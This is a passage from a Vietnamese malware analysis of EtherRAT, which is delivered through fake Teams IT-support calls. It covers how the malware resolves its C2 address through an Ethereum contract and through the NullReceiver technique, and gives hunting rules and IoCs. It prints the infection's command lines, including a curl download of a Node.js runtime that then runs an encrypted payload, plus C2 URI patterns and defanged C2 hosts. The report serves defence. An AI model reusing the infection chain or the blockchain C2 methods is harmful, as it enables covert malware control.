Do đó, contract hoạt động như một registry lưu chuỗi theo từng địa chỉ. Ví của operator ghi URL C&C bằng setString(string), còn bot đọc URL bằng getString(address) với khóa là địa chỉ ví của operator. EtherRAT không bao giờ gửi bất cứ thứ gì trực tiếp tới 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f; nó chỉ dùng địa chỉ này làm tham số tra cứu. Việc này quan trọng đối với logic tra cứu sẽ không để lại bất kỳ tham chiếu hay dấu vết gì trên contract.

Sự phân biệt này quan trọng cho việc pivot. Một contract với giao diện getString/setString chung chung có thể được dùng chung hoặc triển khai lại, nhưng ví ghi giá trị thì thuộc về operator. Ví của operator là điểm pivot tốt hơn so với địa chỉ contract.

3.5. Phân tích lịch sử giao dịch

Mọi thao tác ghi vào contract đều là một giao dịch được ký, tồn tại vĩnh viễn và công khai. Tại thời điểm chúng tôi thu thập dữ liệu, contract có 20 giao dịch, và mọi giao dịch hiển thị trong danh sách đều là lệnh gọi Set String từ 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f. Giải mã input data của một trong các giao dịch này cho ra URL C&C hxxps://labipt[.]com. Giao dịch đó tốn khoảng 0,0000091 ETH (khoảng 0,02 USD) phí giao dịch, nghĩa là operator có thể thay đổi địa chỉ C&C của toàn bộ botnet chỉ với vài cent.

URL C&C trong input data của một giao dịch setString

Phân giải được một vài URL C&C từ các giao dịch liên quan đến contract này:

URL Ghi chú
hxxps://seconds.australiaeast.cloudapp.azure[.]com Azure CloudApp
hxxps://resurce.swedencentral.cloudapp.azure[.]com Azure CloudApp
hxxps://dns1.southafricanorth.cloudapp.azure[.]com Azure CloudApp

Các URL C&C được phân giải từ giao dịch của contract (Unit 42)

Với 20 giao dịch ghi đã được ghi nhận, tất cả các giá trị này là quan sát lịch sử trên chain và có thể là vẫn đang hoạt động hoặc không. Tính tới thời điểm viết bài kẻ tấn công vẫn tiếp tục cập nhật các C&C mới.

Blockchain chỉ đóng vai trò dead drop resolver cho địa chỉ máy chủ, không phải kênh giao task. Task vẫn được gửi qua HTTP(S) hoặc WebSocket tới URL đã phân giải. Bảy RPC endpoint là dịch vụ hợp pháp được nhiều ứng dụng Web3 sử dụng hằng ngày, nên chặn chúng theo tên miền là hướng tiếp cận sai. Tín hiệu hữu ích nằm ở sự kết hợp: một RPC request, contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec, selector 0x7d434425 và một tiến trình Node.js chạy từ đường dẫn bất thường.

4. Threat Hunting vs Detection

Qua phân tích có thể thấy rằng các dấu hiệu đơn lẻ là không đủ để xác nhận lây nhiễm. Node.js là runtime hợp pháp, nodejs.org là hạ tầng chính thức, và các RPC endpoint Ethereum công khai phục vụ hàng nghìn ứng dụng Web3 hợp pháp. Giá trị nằm ở các hành vi này nối tiếp nhau thành một chuỗi.

4.1. Process Tree

Cây tiến trình là chỉ dấu mạnh nhất, đặc biệt khi nó bắt đầu từ một MSI nằm trong thư mục người dùng hoặc %TEMP%:

msiexec.exe
└─ conhost.exe --headless
   └─ cmd.exe /c R2YxSP2m.cmd
      └─ conhost.exe --headless
         └─ node.exe z0SYYdWk9g.dat
            └─ texuvTlV.exe -

Các command line đáng chú ý khi hunting:

conhost --headless cmd /c call <batch> 49UB
curl -sLo %TEMP%\node-v18.20.5-win-x64.zip https://nodejs.org/...
node.exe <path>\z0SYYdWk9g.dat
texuvTlV.exe -

Một tiến trình node.exe -, hoặc bất kỳ tệp thực thi nào được một tiến trình Node.js khác khởi chạy với - là tham số duy nhất, đều đáng ngờ bất kể có liên quan đến chiến dịch này hay không. Tên tệp trong chuỗi này được sinh ngẫu nhiên theo từng build, nên cần nhận dạng theo hình dạng của cả chuỗi thay vì các chuỗi ký tự cụ thể trong commandline.

4.2. Artifact trên hệ thống tệp

Tìm bộ các tệp .cmd, .dat và .ini có tên ngẫu nhiên nằm cùng một thư mục trong %LOCALAPPDATA%, đi kèm 1DIZ0D\node.exe hoặc một bản sao của node.exe dưới tên khác. Bản thân các phần mở rộng này có thể dễ dàng thay đổi trong các chiến dịch tương tự. Các artifact bổ sung:

Artifact Mô tả
qNCplqpq Tệp tạm chứa output của where node
%APPDATA%\.node_bot_id Bot ID được các phiên bản cũ sử dụng
%APPDATA%\svchost.log Log lỗi; chỉ dấu trên host đáng tin cậy nhất
%LOCALAPPDATA%\<derived-path>\<6-hex> Tệp cấu hình mã hóa Base64, không có phần mở rộng

Các artifact trên hệ thống tệp

Vì giai đoạn cuối được truyền qua stdin, cần ưu tiên thu thập bộ nhớ tiến trình, command line và telemetry về pipe. Chỉ thu thập tệp trên đĩa sẽ bỏ sót cả logic EtherRAT core lẫn mọi task do máy chủ C&C gửi xuống.

4.3. Network Behavior

Chuỗi hành vi đặc trưng của một tiến trình Node.js chạy từ đường dẫn bất thường gồm:

  1. Các POST request JSON-RPC eth_call tới nhiều RPC endpoint Ethereum trong vòng vài giây, với to là 0x788a5336c0ef70be87619a3c13a43050c426f7ec và data bắt đầu bằng selector 0x7d434425.

  2. Kết nối tới necropatia[.]com hoặc tới URL do contract trả về.

  3. Các GET request tới URI có dạng /api/<8-hex>/<UUID>/<8-hex>.<ext>?<key>=<buildId> kèm header X-Bot-Server.

  4. Body phản hồi là JavaScript, có thể kéo theo tiến trình con hoặc kết nối mới tùy theo task.

Bước 3 là bước dễ viết rule nhất. Không ứng dụng hợp lệ nào tải một tệp có vẻ là .png kèm header X-Bot-Server, giữ kết nối mở trong 120 giây và lặp lại mỗi 500 ms.

Không nên chặn nodejs.org, Azure CloudApp hay các RPC endpoint công khai theo tên miền vì tỷ lệ false positive sẽ quá cao. Với các dịch vụ dùng chung, hãy kết hợp mối quan hệ giữa tiến trình cha-con, đường dẫn binary, mẫu JSON-RPC, địa chỉ contract, HTTP header và tần suất polling. Chặn riêng từng tên miền C&C đã được xác nhận theo chính sách của tổ chức và cần theo dõi blacklist địa chỉ smartcontract.

5. Kết luận

Báo cáo này đã phân tích một chuỗi lây nhiễm EtherRAT bắt đầu từ cuộc gọi giả mạo hỗ trợ IT trên Microsoft Teams. Kẻ tấn công chiếm quyền điều khiển từ xa máy nạn nhân và triển khai một MSI có nhiệm vụ chuẩn bị runtime Node.js hợp lệ, giải mã payload qua nhiều lớp tự xây dựng và chạy lõi EtherRAT hoàn toàn trong bộ nhớ. Lõi này phân giải máy chủ C&C thông qua smart contract Ethereum và thực thi bất kỳ JavaScript nào máy chủ trả về.

EtherRAT không phải trường hợp đơn lẻ: các tác nhân đe dọa sử dụng hạ tầng blockchain công khai làm hạ tầng C&C với tần suất tăng dần. Tính đến ngày 06/08/2026, kho dữ liệu Unit 42 Timely Threat Intel ghi nhận ít nhất tám chiến dịch sử dụng blockchain làm lớp phân giải C&C, trong đó có chính chiến dịch được phân tích trong báo cáo này:

Ngày Báo cáo Blockchain Cơ chế phân giải C&C
2026-07-30 Remus Info-Stealer Uses Blockchain-Anchored C2 Ethereum Truy vấn contract 0x999941b74F6bbc921D5174A5b29911562cd2D7CF qua ethereum-rpc.publicnode[.]com
2026-07-21 Malicious npm/PyPI Supply Chain packages Ethereum mainnet Dropper EtherHiding; các contract 0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84 và 0xa1b40044EBc2794f207D45143Bd82a1B86156c6b
2026-07-02 ClickFix campaign utilizing MaaS kit with Blockchain C2 Polygon (MATIC) tracker.js lấy URL C&C được mã hóa base36; là một trong bốn lớp phân giải C&C độc lập
2026-06-28 Fake IT support abuses Teams to deliver EtherRAT Ethereum Contract 0x788a5336... được truy vấn với khóa 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f; C&C dự phòng hardcode necropatia[.]com
2026-05-22 RemusStealer Delivered via Software Search Redirection Ethereum Ethereum dead drop resolver dùng cùng contract 0x999941b7... qua eth.llamarpc[.]com; loader Go được làm rối bằng Garble
2026-04-13 LORIKAZZ ANDROID/IOT Ethereum (ENS) Chuỗi "Empty ENS record" trong binary ELF; chồng lấn mã nguồn với Kimwolf/AISURU
2026-03-30 KIMWOLF V7 IoT Ethereum (ENS) Năm RPC endpoint hardcode phân giải tên ENS ra IP C&C; C&C dự phòng qua Tor .onion
2024-09-04 EtherHiding popups still active BNB Smart Chain Kỹ thuật EtherHiding gốc; mã được lưu trong contract và lấy về qua bsc-dataseed1.binance[.]org; liên quan đến ClearFake/ClickFix

Các chiến dịch sử dụng cơ chế phân giải C&C dựa trên blockchain (Unit 42 Timely Threat Intel)

Có thể thấy một số mẫu hình. Ethereum mainnet chiếm ưu thế, nhưng Polygon và BNB Smart Chain cũng xuất hiện, nhiều khả năng do phí giao dịch thấp hơn. ENS là một lựa chọn rẻ hơn: thay vì triển khai contract, tác nhân chỉ cần trỏ một tên ENS tới IP C&C. Remus tái sử dụng cùng một contract (0x999941b7...) trong hai chiến dịch cách nhau hơn hai tháng, cho thấy hạ tầng này được tái sử dụng thay vì dựng mới cho mỗi chiến dịch.

6. Phụ lục

Phụ lục A. MITRE ATT&CK

Chiến thuật Kỹ thuật
Initial Access T1566.001: Phishing: Spearphishing Attachment
T1566.004: Phishing: Spearphishing Voice
Execution T1059.003: Command and Scripting Interpreter: Windows Command Shell
T1059.007: Command and Scripting Interpreter: JavaScript
Defense Evasion T1218.007: System Binary Proxy Execution: Msiexec
T1027.010: Obfuscated Files or Information: Command Obfuscation
T1027.013: Obfuscated Files or Information: Encrypted/Encoded File
T1027.016: Obfuscated Files or Information: Junk Code Insertion
T1140: Deobfuscate/Decode Files or Information
T1564.003: Hide Artifacts: Hidden Window
Discovery T1033: System Owner/User Discovery
T1082: System Information Discovery
T1083: File and Directory Discovery
Command and Control T1219.002: Remote Access Tools: Remote Desktop Software
T1105: Ingress Tool Transfer
T1102.001: Web Service: Dead Drop Resolver
T1071.001: Application Layer Protocol: Web Protocols
T1008: Fallback Channels

MITRE ATT&CK

Phụ lục B. IoC

sha256

  • fc2907fa866f86e0821f75060a331ce69ee10ff3aa374587993b17ba5406fa33 - v7.msi

  • c2eeb74892408496f5a307a5b1fdc92d94fd014ab4252868f04046bf84718ab6 - R2YxSP2m.cmd

  • 94cb54d53927e4ba469099760db531be563a84d716df69e864062d90f0f2448d - z0SYYdWk9g.dat

  • 0cb2f7651d50e1ed1a691e82f0297d49444bdded2461e136cffb156d4f234e52 - eXYlcnebRLrWyBc.ini

  • d46b4e8d188fe1773c44d38d730dcb6287639568240c765d9ad4ad79cd239e82 - Loader JavaScript giai đoạn hai được giải mã từ z0SYYdWk9g.dat

  • c16784e2c7b3e3b798addd718850da18f8eb532ab8f352c769a4470d7124805d - Lõi EtherRAT ở giai đoạn 3 được giải mã từ eXYlcnebRLrWyBc.ini

Địa chỉ contract

  • 0x788a5336c0ef70be87619a3c13a43050c426f7ec

Địa chỉ ví

  • 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f

URL

  • hxxps://camorreado[.]click/v7.msi

  • hxxps://necropatia[.]com

  • hxxps://labipt[.]com

  • hxxps://seconds.australiaeast.cloudapp.azure[.]com

  • hxxps://resurce.swedencentral.cloudapp.azure[.]com

  • hxxps://cover.wedencentral.cloudapp.azure[.]com

  • hxxps://dns1.southafricanorth.cloudapp.azure[.]com

Tài khoản của kẻ tấn công

  • helpdesk@Progressive934.onmicrosoft[.]com - Tài khoản của kẻ tấn công (tên hiển thị "System Administrator")

  • Progressive934.onmicrosoft[.]com - Tên miền tenant của kẻ tấn công

  • 310e9ead-4f6f-491e-aafe-feb08c8d17a4 - Tenant ID của kẻ tấn công

Artifact mạng và cấu hình

  • 0x7d434425 - Function selector của getString(address)

  • 0x7fcaf666 - Function selector của setString(string)

  • /api/<8-hex>/<UUID>/<8-hex>.<png|jpg|gif|css|ico|webp>?<id|token|key|b|q|s|v>=<buildId> - Mẫu URI C&C

Phụ lục C. Tài liệu tham khảo

7. Mở rộng: NullReceiver, bước tiến hóa tiếp theo của EtherHiding

Trong quá trình mở rộng nghiên cứu các mẫu mã độc sử dụng blockchain làm cơ chế phân giải C&C, chúng tôi ghi nhận NullReceiver, một kỹ thuật phát triển từ EtherHiding. Kỹ thuật này loại bỏ chính những tín hiệu on-chain mà bên phòng thủ dùng để phát hiện EtherRAT (mục 4.3). Mục này tóm tắt cách NullReceiver hoạt động, so sánh nó với cơ chế phân giải C&C của EtherRAT và đưa ra các hướng phát hiện.

Kỹ thuật này được OpenSourceMalware công bố đầu tháng 8/2026, sau khi phát hiện trong hai gói npm giả mạo plugin Tailwind CSS là bianira-ui@1.27.0 và fluid-type-ui@2.0.8, có liên hệ với chiến dịch Contagious Interview của DPRK. EtherRAT đọc URL C&C từ bộ nhớ của một smart contract (mục 3). NullReceiver thì không dùng contract cũng không dùng calldata: địa chỉ IP C&C được giấu ngay trong địa chỉ người nhận (to) của một giao dịch Ethereum có giá trị bằng 0.

7.1. Cơ chế hoạt động

Mã độc lấy ví hardcode 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a, tìm giao dịch gửi đi mới nhất của ví qua RPC công khai (1rpc.io/eth, eth.drpc.org) và giải mã IPv4 từ 4 byte đầu của trường to. Giao dịch có value = 0, input = 0x và chỉ tốn 21.000 gas, mức tối thiểu của một giao dịch Ethereum. Địa chỉ người nhận không phải ví thật mà là 20 byte được bịa ra để chứa dữ liệu. Ethereum chấp nhận mọi giá trị 20 byte trong trường to và không kiểm tra ai nắm private key tương ứng.

0x a658863e  a658863e  68656c6c6f6970626f742121
   │         │         └─ "helloipbot!!" (chuỗi chữ ký của kẻ tấn công)
   │         └─ lặp lại 4 byte IP
   └─ a6.58.86.3e = 166.88.134[.]62 (IP C&C)

Phía nạn nhân chỉ đọc dữ liệu blockchain: không gọi contract, không tạo giao dịch và không trả gas.

7.2. So sánh với EtherHiding trong EtherRAT

Đặc điểm EtherRAT (EtherHiding qua smart contract) NullReceiver
Nơi giấu dữ liệu Bộ nhớ contract 0x788a5336..., đọc qua eth_call getString(address) Địa chỉ người nhận (to) của giao dịch
Điểm cố định để phát hiện Địa chỉ contract và selector 0x7d434425 Chỉ có ví gửi; địa chỉ người nhận đổi sau mỗi lần cập nhật C&C
Calldata của giao dịch cập nhật Chứa URL C&C (setString(string)) Rỗng (0x)
Dung lượng Một URL đầy đủ 4 byte, vừa đủ một địa chỉ IPv4
Tương tác smart contract Có Không
Điểm yếu Lịch sử setString công khai mọi URL C&C từng dùng Lịch sử giao dịch của ví công khai mọi IP C&C từng dùng nhưng hòa lẫn vào rất nhiều giao dịch bình thường khác trong mạng blockchain

So sánh EtherHiding trong EtherRAT và NullReceiver

NullReceiver loại bỏ cả hai tín hiệu on-chain mà mục 4.3 dựa vào: địa chỉ contract cố định và selector 0x7d434425 trong calldata. Đổi lại, nó chỉ mang được một địa chỉ IP, và ví gửi vẫn là điểm tham chiếu bắt buộc. Giống ví operator 0x6e044e19... của EtherRAT, khi ví này bị phát hiện, toàn bộ lịch sử C&C có thể được dựng lại từ chain.

7.3. Theo dõi ví trên chain

Đến hết ngày 15/10/2026, ví 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a có tất cả 588 giao dịch, với tổng chi phí khoảng 0,038 ETH (92 USD). Operator xoay vòng qua bảy IP C&C trong tám giai đoạn. Báo cáo ban đầu chỉ công bố 166.88.134[.]62, nên một danh sách chặn chỉ chứa IP này đã không còn hiệu lực từ ngày 22/08/2026. Ngày 14/10/2026, ví chuyển toàn bộ số dư (0,0293 ETH) tới 0xf97062cb1B6FFa18b88e9Faea373Ed288a87Ecd0 và không có thêm giao dịch mới nào, cho thấy operator có thể đang chuyển sang ví mới.

7.4. Detection

  • On-chain: Giám sát ví 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a và tìm các giao dịch có giá trị bằng 0, không có calldata, với địa chỉ người nhận kết thúc bằng 68656c6c6f6970626f742121 (helloipbot!!) từ bất kỳ ví nào.

  • Endpoint/mạng: Cảnh báo khi node.exe truy vấn một Ethereum RPC endpoint rồi ngay sau đó kết nối trực tiếp tới một IP bên ngoài, đặc biệt trên máy lập trình viên và CI/CD runner. Đây cũng là mẫu hình "phân giải rồi kết nối" của EtherRAT.

  • Tĩnh: Chuỗi A10-npm3!, hoặc địa chỉ ví đi kèm 1rpc.io/eth hay eth.drpc.org trong cùng một tệp JavaScript.

7.5. IoC

  • Gói npm: bianira-ui@1.27.0, fluid-type-ui@2.0.8, tailwindcss-anim, tailwind-anim, post-css-transfer, scrollbar-hide-plugin, tailwind-animation-founder

  • Tài khoản npm: npmuser1101, npmuser3002

  • Ví của kẻ tấn công: 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a

  • IP C&C: 166.88.134[.]62, 23.27.13[.]135, 166.88.73[.]46, 193.247.144[.]38, 166.88.134[.]75, 91.218.183[.]174, 23.27.13[.]72

  • Chuỗi tĩnh: A10-npm3!, helloipbot!!

7.6. Tài liệu tham khảo